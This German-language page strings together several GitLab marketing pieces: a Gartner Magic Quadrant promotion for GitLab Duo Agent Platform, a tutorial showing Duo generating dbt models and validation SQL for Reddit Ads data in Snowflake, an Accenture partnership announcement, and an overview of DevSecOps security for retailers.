Report herunterladen.

Von KI-Funktionen zu intelligenter Zusammenarbeit

Die Gartner-Evaluierung konzentrierte sich unserer Ansicht nach auf die generativen KI-Code-Assistenz-Funktionen von GitLab Duo. Während GitLab Duo als KI-Add-on zur GitLab DevSecOps-Plattform begann, legte es den Grundstein für unsere heutige Entwicklung: Agentic AI, die nativ in die GitLab DevSecOps-Plattform integriert ist.

Die GitLab Duo Agent Platform ermöglicht es Entwicklern, gemeinsam mit mehreren KI-Agenten zu arbeiten, die Aufgaben über den gesamten Software-Lebenszyklus automatisieren. Agenten kollaborieren miteinander und mit Menschen und nutzen dabei GitLabs Knowledge Graph, um mit vollständigem Projektkontext zu agieren. Dies befähigt Teams, schneller zu arbeiten und gleichzeitig Transparenz und Kontrolle zu bewahren.

• Spezialisierte Agenten übernehmen parallel Aufgaben wie Code-Generierung, Sicherheitsanalyse und Research.

• Knowledge Graph verbindet Agenten mit einem einheitlichen System of Record über Code, Issues, Pipelines und Compliance-Daten.

• Mensch + Agent Kollaboration erfolgt über natürlichsprachlichen Chat und anpassbare Workflows mit integrierter Überprüfung und Kontrolle.

• Interoperabilität mit externen Tools und Systemen wird durch Model Context Protocol (MCP) und Agent-zu-Agent-Frameworks unterstützt.

Wenn Agenten Routinearbeiten unter menschlicher Anleitung übernehmen, können Teams schneller arbeiten, sich auf wertvollere Aufgaben konzentrieren und Projekte sicher sowie compliant halten.

Sicher by Design, flexibel in der Praxis

Die GitLab Duo Agent Platform wurde entwickelt, um Sicherheit und Compliance in den Mittelpunkt zu stellen. Agenten laufen innerhalb von GitLabs vertrauenswürdiger DevSecOps-Umgebung, wobei jede Aktion sichtbar und überprüfbar ist, bevor Änderungen vorgenommen werden. Sichere Integrationen stellen sicher, dass Credentials und sensible Daten geschützt verarbeitet werden, während Interoperabilität durch offene Standards Agenten mit externen Tools verbindet, ohne das Unternehmen Risiken auszusetzen.

Die Plattform gibt Teams die Gewissheit, dass KI die Produktivität steigert, ohne die Governance zu kompromittieren. So funktioniert es:

• Entwickler können sich auf komplexe, wirkungsvolle Arbeit konzentrieren, während sie Routineaufgaben an Agenten delegieren – für schnellere Ergebnisse und detaillierteren Kontext, der über ihre bestehenden Workflows bereitgestellt wird.

• Engineering-Führungskräfte erhalten Einblick in die Bewegung der Arbeit über den Lebenszyklus, wobei Agenten innerhalb klarer Leitplanken operieren. Sie können zudem sicherstellen, dass ihre Teams auf Prioritäten ausgerichtet bleiben und das Onboarding durch Agent-gestützte Kontexte und Workflows vereinfachen.

• IT-Organisationen behalten die Kontrolle über Agent-Aktivitäten mit Governance-Funktionen, die Coding- und Sicherheitsrichtlinien durchsetzen, Modellauswahlflexibilität bieten und sichere Interoperabilität gewährleisten – alles bei kontinuierlicher menschlicher Kontrolle.

Führend beim Übergang zur KI-nativen Entwicklung

GitLab baut weiterhin auf der Vision auf, die mit Duo begann, und wird die GitLab Duo Agent Platform kontinuierlich mit neuen Agenten, erweiterten Workflows und mehr Orchestrierungsfunktionen ausbauen. Dieses Engagement für Innovation stellt sicher, dass Sie die Produktivität Ihres Teams auf der Plattform steigern können, der Sie vertrauen. Bleiben Sie gespannt auf spannende Updates zu unserer Roadmap, während wir weiterhin KI-native DevSecOps revolutionieren.

Den 2025 Gartner® Magic Quadrant™ für AI Code Assistants herunterladen und GitLab Duo Agent Platform heute ausprobieren.

Quelle: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15. September 2025

GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.

Gartner unterstützt keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologieanwendern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Auszeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Gartner-Forschungsorganisation und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich aller Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.

Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage von Gartner B.V. erhältlich.

Aber was wäre, wenn du diesen gesamten Prozess automatisieren könntest? In dieser Anleitung zeige ich dir genau, wie GitLab Duo Agent Platform umfassende dbt-Modelle in nur wenigen Minuten generiert – komplett mit ordnungsgemäßer Struktur, Tests und Dokumentation.

Was wir aufbauen

Unser Marketing-Team möchte Werbeinvestitionen effektiv verwalten und optimieren. Eine der Werbeplattformen ist Reddit, daher extrahieren wir Daten von der Reddit Ads API in unsere unternehmensweite Datenplattform Snowflake. Bei GitLab haben wir drei Speicherebenen:

1. raw-Ebene – erster Landepunkt für unverarbeitete Daten aus externen Quellen; noch nicht für geschäftliche Nutzung bereit

2. prep-Ebene – erste Transformationsebene mit Quellmodellen; noch nicht für allgemeine geschäftliche Nutzung bereit

3. prod-Ebene – final transformierte Daten, bereit für geschäftliche Nutzung und Tableau-Berichte

Für diese Anleitung sind die Daten bereits durch unsere Extraktionslösung Fivetran in der raw-Ebene gelandet, und wir werden dbt-Modelle generieren, die die Daten von der prep-Ebene zur prod-Ebene verarbeiten.

Ohne eine einzige Zeile dbt-Code selbst schreiben zu müssen, werden wir am Ende der Anleitung Folgendes haben:

• Quellmodelle in der prep-Ebene

• Workspace-Modelle in der prod-Ebene

• Vollständige dbt-Konfigurationen für alle 13 Tabellen (einschließlich 112 Spalten) im Reddit Ads-Datensatz

• Test-Abfragen zur Validierung der Ergebnisse

Der gesamte Prozess dauert weniger als 10 Minuten – im Vergleich zu den Stunden, die normalerweise dafür benötigt würden. Hier sind die zu befolgenden Schritte:

1. Die Datenstruktur vorbereiten

Bevor GitLab Duo unsere Modelle generieren kann, muss es die vollständige Tabellenstruktur verstehen. Der Schlüssel liegt darin, eine Abfrage gegen Snowflakes Informationsschema auszuführen, da wir derzeit untersuchen, wie wir GitLab Duo über das Model Context Protocol (MCP) mit unserer Snowflake-Instanz verbinden können:

SELECT 
    table_name,
    column_name,
    data_type,
    is_nullable,
    CASE 
        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'
        ELSE NULL 
    END as key_type
FROM raw.information_schema.columns

WHERE table_schema = 'REDDIT_ADS'

ORDER BY table_name, ordinal_position;

Diese Abfrage erfasst:

• Alle Tabellen- und Spaltennamen

• Datentypen für die korrekte Modellstruktur

• Nullable-Einschränkungen

• Primärschlüssel-Identifikation (nicht-nullable Spalten in diesem Datensatz)

Profi-Tipp: Im Reddit Ads-Datensatz dienen alle nicht-nullable Spalten als Primärschlüssel – ein Muster. Ich habe dies überprüft, indem ich Tabellen wie ad_group kontrollierte, die zwei nicht-nullable Spalten (account_id und id) hat, die beide als Primärschlüssel markiert sind. Die Ausführung dieser Abfrage lieferte 112 Zeilen Metadaten, die ich als CSV-Datei für die Modellgenerierung exportierte. Während dieser manuelle Schritt heute gut funktioniert, untersuchen wir eine direkte Integration von GitLab Duo mit unserer Datenplattform über MCP, um diesen Prozess vollständig zu automatisieren.

2. GitLab Duo einrichten

Es gibt zwei Möglichkeiten, mit GitLab Duo zu interagieren:

1. Web-UI-Chat-Funktion

2. Visual Studio Code-Plugin

Ich habe mich für das VS Code-Plugin entschieden, da ich die dbt-Modelle lokal ausführen kann, um sie zu testen.

3. Den 'magischen' Prompt eingeben

Hier ist der exakte Prompt, den ich zur Generierung des gesamten dbt-Codes verwendet habe:

Create dbt models for all the tables in the file structure.csv.


I want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.

I want to have workspace models created and store these in the workspace_marketing schema.


Take this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. 


Please check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/

Schlüsselelemente, die diesen Prompt effektiv machten:

• Klare Spezifikationen für sowohl Quell- als auch Workspace-Modelle

• Referenzbeispiel aus einem vorherigen ähnlichen Merge Request

• Style Guide-Referenz zur Sicherstellung von Codequalität und Konsistenz

• Spezifisches Schema-Targeting für ordnungsgemäße Organisation

4. GitLab Duos Prozess

Nach dem Einreichen des Prompts machte sich GitLab Duo an die Arbeit. Der gesamte Generierungsprozess dauerte einige Minuten, während dessen GitLab Duo:

1. Die CSV-Eingabedatei las und analysierte

2. Tabellenstrukturen aus den Metadaten untersuchte

3. Unseren dbt-Style-Guide als Referenz für Coding-Standards nutzte

4. Ähnliche Merge Requests berücksichtigte für die korrekte Strukturierung

5. Quellmodelle für alle 13 Tabellen generierte

6. Workspace-Modelle für alle 13 Tabellen erstellte

7. Unterstützende dbt-Dateien generierte:

   • sources.yml-Konfiguration
   • schema.yml-Dateien mit Tests und Dokumentation
   • Aktualisierte dbt_project.yml mit Schema-Referenzen

Die Ergebnisse

Die Ausgabe war bemerkenswert:

• 1 modifizierte Datei: dbt_project.yml (reddit_ads Schema-Konfiguration hinzugefügt)

• 29 neue Dateien:

  • 26 dbt-Modelle (13 Quell- + 13 Workspace-Modelle)
  • 3 YAML-Dateien

• Fast 900 Zeilen Code automatisch generiert

• Integrierte Daten-Tests, einschließlich Unique-Constraints auf Primärschlüssel-Spalten

• Generische Beschreibungen für alle Modelle und Spalten

• Saubere Deduplizierungs-Logik in Quellmodellen

• Saubere, konsistente Code-Struktur gemäß dem GitLab dbt-Style-Guide

transform/snowflake-dbt/

├── dbt_project.yml                                                    [MODIFIZIERT]

└── models/
    ├── sources/
    │   └── reddit_ads/
    │       ├── reddit_ads_ad_group_source.sql                        [NEU]
    │       ├── reddit_ads_ad_source.sql                              [NEU]
    │       ├── reddit_ads_business_account_source.sql                [NEU]
    │       ├── reddit_ads_campaign_source.sql                        [NEU]
    │       ├── reddit_ads_custom_audience_history_source.sql         [NEU]
    │       ├── reddit_ads_geolocation_source.sql                     [NEU]
    │       ├── reddit_ads_interest_source.sql                        [NEU]
    │       ├── reddit_ads_targeting_community_source.sql             [NEU]
    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEU]
    │       ├── reddit_ads_targeting_device_source.sql                [NEU]
    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEU]
    │       ├── reddit_ads_targeting_interest_source.sql              [NEU]
    │       ├── reddit_ads_time_zone_source.sql                       [NEU]
    │       ├── schema.yml                                            [NEU]
    │       └── sources.yml                                           [NEU]
    └── workspaces/
        └── workspace_marketing/
            └── reddit_ads/
                ├── schema.yml                                        [NEU]
                ├── wk_reddit_ads_ad.sql                              [NEU]
                ├── wk_reddit_ads_ad_group.sql                        [NEU]
                ├── wk_reddit_ads_business_account.sql                [NEU]
                ├── wk_reddit_ads_campaign.sql                        [NEU]
                ├── wk_reddit_ads_custom_audience_history.sql         [NEU]
                ├── wk_reddit_ads_geolocation.sql                     [NEU]
                ├── wk_reddit_ads_interest.sql                        [NEU]
                ├── wk_reddit_ads_targeting_community.sql             [NEU]
                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEU]
                ├── wk_reddit_ads_targeting_device.sql                [NEU]
                ├── wk_reddit_ads_targeting_geolocation.sql           [NEU]
                ├── wk_reddit_ads_targeting_interest.sql              [NEU]
                └── wk_reddit_ads_time_zone.sql                       [NEU]

Beispiel des generierten Codes

Hier ist ein Beispiel für die Qualität des generierten Codes. Für die time_zone-Tabelle erstellte GitLab Duo:

Prep-Ebene Quellmodell

WITH source AS (
  SELECT *
  FROM {{ source('reddit_ads','time_zone') }}
  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1
),


renamed AS (
  SELECT
    id::VARCHAR                               AS time_zone_id,
    code::VARCHAR                             AS time_zone_code,
    dst_offset::NUMBER                        AS time_zone_dst_offset,
    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,
    name::VARCHAR                             AS time_zone_name,
    offset::NUMBER                            AS time_zone_offset,
    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at
  FROM source
)


SELECT * FROM renamed

Schema.yml

models:
  - name: reddit_ads_time_zone_source
    description: Zeitzonendaten aus dem Reddit Ads-System
    columns:
      - name: time_zone_id
        description: Eindeutige Kennung für Zeitzoneneinträge
        data_tests:
          - unique
          - not_null
      - name: time_zone_code
        description: Code für die Zeitzone
      - name: time_zone_dst_offset
        description: Sommerzeitverschiebung für die Zeitzone
      - name: is_time_zone_dst_active
        description: Flag, das angibt, ob Sommerzeit aktiv ist
      - name: time_zone_name
        description: Name der Zeitzone
      - name: time_zone_offset
        description: Verschiebung für die Zeitzone
      - name: fivetran_synced_at
        description: Zeitstempel, wann der Datensatz zuletzt von Fivetran synchronisiert wurde

Source.yml

sources:
  - name: reddit_ads
    database: RAW
    schema: reddit_ads
    loaded_at_field: _fivetran_synced
    loader: fivetran
    description: Reddit Ads-Daten

    quoting:
      database: true
      schema: false
      identifier: false

    tables:
      - name: time_zone

Workspace-Modell

WITH source AS (
  SELECT *
  FROM {{ ref('reddit_ads_time_zone_source') }}
)


SELECT * FROM source

5. Qualitätsvalidierung

Nachdem der Code gut aussah, habe ich ihn zum MR gepusht und die CI-Test-Pipeline ausgeführt, um den Code zu testen und das Ergebnis zu validieren. Ich bat GitLab Duo, eine Validierungsabfrage zu erstellen:

Create a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.

Die KI generierte eine umfassende Validierungsabfrage, die:

• Zeilenanzahlen zwischen raw- und workspace-Ebenen verglich

• Die Deduplizierungs-Logik berücksichtigte

• Alle 13 Tabellen testete

• Datenerhaltungsprozentsätze berechnete

<details>

<summary>Generierte SQL-Test-Abfrage</summary>

-- Reddit Ads Zeilenanzahl-Validierungstest

-- Vergleicht eindeutige Zählungen zwischen RAW-Ebene und WORKSPACE_MARKETING-Ebene

-- Berücksichtigt Deduplizierungs-Logik in Quellmodellen


WITH raw_counts AS (
  -- Tabellen mit einzelnem Primärschlüssel
  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count
  FROM RAW.REDDIT_ADS.AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_INTEREST
),


workspace_counts AS (
  -- Workspace-Ebene zählt unter Verwendung von Primärschlüsseln aus schema.yml
  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST
)


-- Abschließender Vergleich mit Validierungsergebnissen

SELECT 
  r.table_name,
  r.raw_count,
  w.workspace_count,
  r.raw_count - w.workspace_count AS count_difference,
  CASE 
    WHEN r.raw_count = w.workspace_count THEN '✅ BESTANDEN'
    WHEN r.raw_count > w.workspace_count THEN '⚠️ RAW > WORKSPACE (Erwartet durch Deduplizierung)'
    ELSE '❌ FEHLGESCHLAGEN - WORKSPACE > RAW (Unerwartet)'
  END AS validation_status,
  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage
FROM raw_counts r

JOIN workspace_counts w ON r.table_name = w.table_name

ORDER BY r.table_name;

</details>

Die Ausführung dieser Abfrage zeigte:

• Null Unterschiede in der Zeilenanzahl nach Deduplizierung

• 100% Datenerhaltung über alle Tabellen hinweg

• Alle Tests erfolgreich bestanden

Das Fazit: Massive Zeitersparnis

• Traditioneller Ansatz: 6-8 Stunden manuelles Programmieren, Testen und Debugging

• GitLab Duo-Ansatz: 6-8 Minuten Generierung + Überprüfungszeit

Dies bedeutet eine 60-fache Verbesserung der Entwicklereffizienz (von 6-8 Stunden auf 6-8 Minuten) bei gleichbleibend hoher Codequalität.

Best Practices für den Erfolg

Basierend auf dieser Erfahrung sind hier die wichtigsten Empfehlungen:

Bereite deine Metadaten vor

• Extrahiere vollständige Tabellenstrukturen einschließlich Datentypen und Einschränkungen

• Identifiziere Primärschlüssel und Beziehungen im Voraus

• Exportiere saubere, gut formatierte CSV-Eingabedateien

Hinweis: Durch die Verbindung von GitLab Duo über MCP mit deinen (Meta-)Daten könntest du diesen manuellen Schritt ausschließen.

Biete klaren Kontext

• Referenziere nach Möglichkeit bestehende Beispiel-MRs

• Spezifiziere deine Codierungsstandards und Style Guides

• Sei explizit bei Ordnerstruktur und Namenskonventionen

Validiere gründlich

• Erstelle immer Validierungsabfragen für die Datenintegrität

• Teste lokal vor dem Mergen

• Führe deine CI/CD-Pipeline aus, um Probleme zu erkennen

Nutze KI für Folgeaufgaben

• Generiere Testabfragen automatisch

• Erstelle Dokumentationsvorlagen

• Baue Validierungsskripte

Was kommt als Nächstes

Diese Demonstration zeigt, wie KI-gestützte Entwicklungstools wie GitLab Duo auch Data-Engineering-Workflows transformieren. Die Fähigkeit, Hunderte von Zeilen produktionsreifem Code in Minuten zu generieren – komplett mit Tests, Dokumentation und ordnungsgemäßer Struktur – stellt einen fundamentalen Wandel dar, wie wir an repetitive Entwicklungsaufgaben herangehen.

Indem wir KI nutzen, um die repetitiven Aspekte der dbt-Modellerstellung zu bewältigen, können sich Dateningenieure auf Aktivitäten mit höherem Wert konzentrieren, wie Datenmodellierungsstrategie, Performance-Optimierung und Implementierung von Geschäftslogik.

Bereit, es selbst auszuprobieren? Beginne mit einem kleinen Datensatz, bereite deine Metadaten sorgfältig vor und sieh zu, wie GitLab Duo Stunden an Arbeit in Minuten automatisierter Generierung verwandelt.

Teste GitLab Duo Agent Platform noch heute.

Weiterlesen

• GitLab 18.3: KI-Orchestrierung im Software Engineering erweitern

• GitLab Duo Agent Platform Public Beta: Next-Gen KI-Orchestrierung und mehr

Ein Meilenstein in der Zusammenarbeit

Diese Zusammenarbeit kombiniert die umfassende, intelligente DevSecOps-Plattform von GitLab mit Accentures weitreichender Expertise in digitaler Transformation und Implementierungsdienstleistungen. Dies ermöglicht Organisationen, sichere Software in großem Maßstab zu entwickeln und bereitzustellen. Die globale Vertriebsvereinbarung bietet einen weltweiten Rahmen, der flexibel an lokale Bedingungen angepasst werden kann.

Die Zusammenarbeit wird sich zunächst auf mehrere Schlüsselbereiche konzentrieren:

DevSecOps-Transformation im Unternehmensmaßstab: Unterstützung von Organisationen bei der Modernisierung ihrer Entwicklungspraktiken und Optimierung ihres Software-Bereitstellungszyklus.

Mainframe-Modernisierung: Begleitung von Kunden bei der Migration von Legacy-Systemen.

GitLab Duo mit Amazon Q: Bereitstellung von KI-gestützter Softwareentwicklung für Organisationen, die ihre Entwicklungsgeschwindigkeit beschleunigen und gleichzeitig durchgängige Sicherheit und Compliance gewährleisten möchten.

Ausblick

Wir freuen uns darauf, unseren gemeinsamen Kunden dabei zu helfen, Innovationen zu beschleunigen, Entwicklungsprozesse zu optimieren und ihre Sicherheitslage zu stärken, um ihre Geschäftsziele effektiver zu erreichen.

Für weitere Informationen darüber, wie GitLab und Accenture Organisationen helfen können, besuche bitte unsere Partner-Website oder kontaktiere deinen Accenture- oder GitLab-Ansprechpartner.

Traditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.

Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.

In diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen.

Warum Retail-Sicherheit einen anderen Ansatz erfordert

Im Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.

Zur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:

Fragilität der Lieferkette und API-Wildwuchs

Versandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer Umfrage von Fluent Commerce 2024. Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.

Legacy-Systeme treffen auf moderne Anforderungen

Viele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.

KI- und Compliance-Komplexität

KI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die DSGVO (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.

Risiken bei kundenorientierten Automatisierungen

Self-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.

Unterschiedliche Bedrohungsflächen

Händler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.

Dies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.

Warum traditionelle AppSec im Einzelhandel versagt

Die meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:

• Begrenzte Lebenszyklusabdeckung: Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.
• Integrationsherausforderungen: Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.
• Manuelle Prozesse: Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.
• Team-Silos: Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.

Der Weg nach vorn

In der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.

